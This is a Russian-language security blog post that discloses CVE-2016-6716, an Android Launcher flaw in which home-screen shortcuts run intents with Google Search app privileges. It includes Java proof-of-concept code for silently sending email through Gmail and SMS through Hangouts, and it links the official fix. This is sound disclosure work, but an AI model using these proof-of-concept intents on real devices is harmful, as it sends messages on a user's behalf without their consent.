08 ноября 2016

Elevation of privilege vulnerability in Android Launcher


Работая с Android приложениями, я обнаружил интересную функциональность - создание ярлыков для главного экрана. Они используются для упрощения каких-либо действий, например, открытие нужного контакта одним кликом.
В приложении “Контакты” это выглядит примерно так:

Создание ярлыков появилось в Android 4.4, но почему-то довольно слабо документировано и реализовано следующим образом.

Приложение запрашивает привилегию INSTALL_SHORTCUT, которая в зависимости от лаунчера может относится к категории нормальных или опасных привилегий.

<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />

Далее приложение формирует Intent, с помощью которого будет запущено Activity с нужными параметрами. Пример с контактами:

Intent shortcutIntent = new Intent("android.provider.action.QUICK_CONTACT");
shortcutIntent.setDataAndType(Uri.parse("content://com.android.contacts/contacts/80"), "vnd.android.cursor.item/contact");

После чего отсылает этот Intent приложению, отвечающему за создание ярлыков (у меня на Nexus 5 это com.google.android.googlequicksearchbox), с помощью Broadcast сообщения.

Intent intent = new Intent();
intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Shortcut Example");
intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
sendBroadcast(intent);

Когда пользователь вызывает ярлык, по сути, происходит запуск Activity с помощью переданного EXTRA_SHORTCUT_INTENT от имени приложения googlequicksearchbox. Именно в этом и заключается проблема. Если вы интересуетесь уязвимостями в Android приложениях, то наверняка вспомните это исследование мобильных браузеров http://www.mbsd.jp/Whitepaper/IntentScheme.pdf.

В случае с браузерами, запуск произвольного Activity через intent-схему позволил вызвать неэкспортированные компоненты приложения, что привело к целому ряду интересных уязвимостей. Аналогичным образом я очень долго пытался играться со внутренностями приложения googlequicksearchbox, но особых успехов кроме нескольких падений не добился.

Обсудив эту уязвимость с Dmitry Lukyanenko, мы получили решение практически мгновенно. Ведь в запуске произвольных Activity можно использовать не только внутренние неэкспортированные компоненты, но и вызывать другие предустановленные приложения, используя привилегии googlequicksearchbox. А описанных привилегий было довольно много, в том числе с protectionLevel signature, доступных только приложениям Google.

[+] Список привилегий

После анализа других приложений от Google были найдены подходящие Activity и получились следующие PoC:

  1. Отправка произвольного письма с помощью приложения Gmail (com.google.android.gm)

    
    <permission 
     ...
     android:name="com.google.android.gm.permission.AUTO_SEND"
     ...
     android:protectionLevel="signature"/>
    ...
    <activity 
     android:excludeFromRecents="true" 
     android:exported="true" ...
     android:name="com.google.android.gm.AutoSendActivity"
     android:permission="com.google.android.gm.permission.AUTO_SEND" ...>
       <intent-filter android:label="@string/app_name">
         <action android:name="com.google.android.gm.action.AUTO_SEND"/>
         <category android:name="android.intent.category.DEFAULT"/>
         <data android:mimeType="*/*"/>
       </intent-filter>
    </activity>

    Пример использования:

    Intent shortcutIntent = new Intent("com.google.android.gm.action.AUTO_SEND");
    shortcutIntent.setClassName("com.google.android.gm", "com.google.android.gm.AutoSendActivity");
    shortcutIntent.putExtra("to", "<email>");
    shortcutIntent.putExtra("subject", "Shortcut Test");
    shortcutIntent.putExtra("body", "Hello");
    
    Intent intent = new Intent();
    intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
    intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send email");
    intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
    sendBroadcast(intent);
  2. Отправка произвольных SMS с помощью приложения Hangouts (com.google.android.talk)

    <permission 
     android:name="com.google.android.hangouts.START_HANGOUT" 
     android:protectionLevel="signature"/>
    ...
    <activity 
     android:exported="true"
     android:name="com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity" 
     android:permission="com.google.android.hangouts.START_HANGOUT" ...>
        ...
        <intent-filter android:label="@string/share_intent_label">
          <action android:name="android.intent.action.SENDTO"/>
          ...
        </intent-filter>
      </activity>

    Пример использования:

    Intent shortcutIntent = new Intent();
    shortcutIntent.setClassName("com.google.android.talk", "com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity");
    shortcutIntent.setAction("android.intent.action.SENDTO");
    shortcutIntent.putExtra("android.intent.extra.TEXT", "Hello");
    shortcutIntent.putExtra("account_name","<CURRENT_EMAIL_ACCOUNT>");
    shortcutIntent.putExtra("participant_name","31337");
    
    Intent intent = new Intent();
    intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
    intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send sms");
    intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
    sendBroadcast(intent); 

Результаты нажатия на shortcut:

CVE-2016-6716 https://source.android.com/security/bulletin/2016-11-01.html#eop-in-aosp-launcher

Fix https://android.googlesource.com/platform/packages/apps/Launcher3/+/c2b630c8b202f09a8a34f707d81733eef3efb560